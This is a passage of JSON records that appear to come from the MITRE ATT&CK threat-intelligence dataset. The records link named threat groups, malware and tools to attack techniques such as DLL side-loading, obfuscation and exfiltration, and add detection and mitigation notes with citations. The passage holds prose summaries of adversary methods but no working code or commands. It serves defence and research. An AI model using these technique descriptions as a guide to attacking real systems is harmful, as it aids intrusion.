[PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16cb7ede-b431-4711-bcb1-91bc925663e5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.043Z","description":"During its initial execution, [BACKSPACE](https://attack.mitre.org/software/S0031) extracts operating system information from the infected host.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16ccf88b-5f28-41d3-bc34-6580be0dbe3f","created":"2023-08-01T20:50:45.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:48:03.689Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has queried the Registry on compromised systems for information on installed software.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16cdc452-d4dc-43f7-be53-dc6b62135d20","created":"2022-10-05T15:56:48.653Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T15:56:48.653Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors downloaded malware and tools onto a compromised host.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d07e92-1026-4d2f-ad4d-a1cb664d1278","type":"relationship","created":"2021-12-02T16:06:56.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T16:06:56.125Z","description":"[TinyTurla](https://attack.mitre.org/software/S0668) has the ability to encrypt C2 traffic with SSL/TLS.(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d19ac1-de53-44e2-9139-32b0e0525b0c","type":"relationship","created":"2020-11-30T21:38:24.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-30T21:38:24.612Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can enumerate remote systems using Net View.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d59476-9fff-413f-9dbe-5c9e43c3860d","type":"relationship","created":"2020-05-08T18:41:16.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."},{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-20T20:54:12.843Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d5d573-60bb-402c-88c3-2bc0af8388eb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.491Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d72046-2569-4517-9a8f-c9f4377df7ab","type":"relationship","created":"2021-12-08T19:04:25.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T19:04:25.581Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has collected open source information to identify relationships between organizations for targeting purposes.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d95f0d-fc05-4012-a1a0-35d7261b7f27","type":"relationship","created":"2021-11-29T20:08:31.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:08:31.007Z","description":"[Pandora](https://attack.mitre.org/software/S0664) can use DLL side-loading to execute malicious payloads.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d9950c-e4fe-4488-9256-8e00a9b706a0","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16da9dfb-ffa0-4137-8ac0-c935dc7f03fe","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor executed commands and arguments that may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16dfd169-264f-410f-97bf-a1cdec20c50e","type":"relationship","created":"2020-05-11T18:14:38.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB RTM August 2019","url":"https://www.group-ib.com/blog/rtm","description":"Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."}],"modified":"2020-05-12T22:13:50.409Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has used search order hijacking to force TeamViewer to load a malicious DLL.(Citation: Group IB RTM August 2019)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16e0be5b-93bb-4db2-b6ed-02e34a6ce3cb","created":"2019-03-13T14:38:31.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:43:28.823Z","description":"[Empire](https://attack.mitre.org/software/S0363) has the ability to obfuscate commands using Invoke-Obfuscation.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16e1777b-af28-412b-bcc3-469aba0f8a87","created":"2022-06-02T13:50:08.914Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has collected the host name and operating system product name from a compromised machine.(Citation: Cisco Talos Bitter Bangladesh May 2022) ","modified":"2022-06-02T14:13:55.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16e1d79d-1eb9-4ce7-a21e-115ce2a414f1","type":"relationship","created":"2019-04-19T13:42:46.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019.","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","source_name":"Unit42 Sofacy Dec 2018"}],"modified":"2019-07-17T01:18:33.076Z","description":"One variant of [Zebrocy](https://attack.mitre.org/software/S0251) uses WMI queries to gather information.(Citation: Unit42 Sofacy Dec 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16e277dc-a879-4eae-bb7e-cb7165e6666f","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:23:30.236Z","description":"Monitor executed commands and arguments that may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16e57ad0-b460-41bd-bef0-5bf110d8db8f","type":"relationship","created":"2019-04-23T16:22:14.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-17T02:11:17.537Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can use protocols like HTTP/HTTPS for command and control traffic.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16e6f7a7-500f-4af0-8fc1-4e22385a23e9","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16e90509-5ea2-48ff-8e09-686dcfddbb3b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T13:06:37.877Z","description":"[APT28](https://attack.mitre.org/groups/G0007) downloads and executes PowerShell scripts and performs PowerShell commands.(Citation: Palo Alto Sofacy 06-2018)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16e906b5-011b-476d-a00d-78e514e7354c","type":"relationship","created":"2021-05-21T20:19:59.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Exchange Mar 2021","url":"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/","description":"Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."}],"modified":"2021-05-21T20:19:59.899Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) abuses a legitimate and signed Microsoft executable to launch a malicious DLL.(Citation: ESET Exchange Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16e9defb-683d-437c-9cdf-e1d75e5523dd","created":"2023-09-05T14:20:39.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T14:21:28.722Z","description":"Limit permissions to request quotas adjustments or modify tenant-level compute setting to only those required.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16ec2171-a002-4838-8e20-af89b2eeafd0","type":"relationship","created":"2021-07-27T14:56:42.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:18.568Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has exfiltrated archives of collected data previously staged on a target's OWA server via HTTPS.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16ee08e8-a66a-4022-a322-148eeaf71771","type":"relationship","created":"2021-04-20T12:38:47.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-04-23T02:08:56.353Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware to turn off the RequireSigned feature which ensures only signed DLLs can be run on Windows.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16ee3365-01c3-4ae3-a96c-dd1c5f05a93c","created":"2024-03-28T15:48:35.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:13:17.416Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used encrypted SSH-based PLINK tunnels to transfer tools and enable RDP connections throughout the environment.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.684Z","description":"(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16ef64da-7119-42ad-ad73-e8a34a2b6a0f","type":"relationship","created":"2020-02-04T19:24:28.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-13T21:08:10.342Z","description":"Applying more restrictive permissions to files and directories could prevent adversaries from modifying the access control lists.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16f46969-91e3-4bcd-8d58-97e88e6b1d3e","type":"relationship","created":"2020-03-09T13:13:24.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/security/4053440","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","source_name":"Microsoft DDE Advisory Nov 2017"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b","description":"Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.","source_name":"GitHub 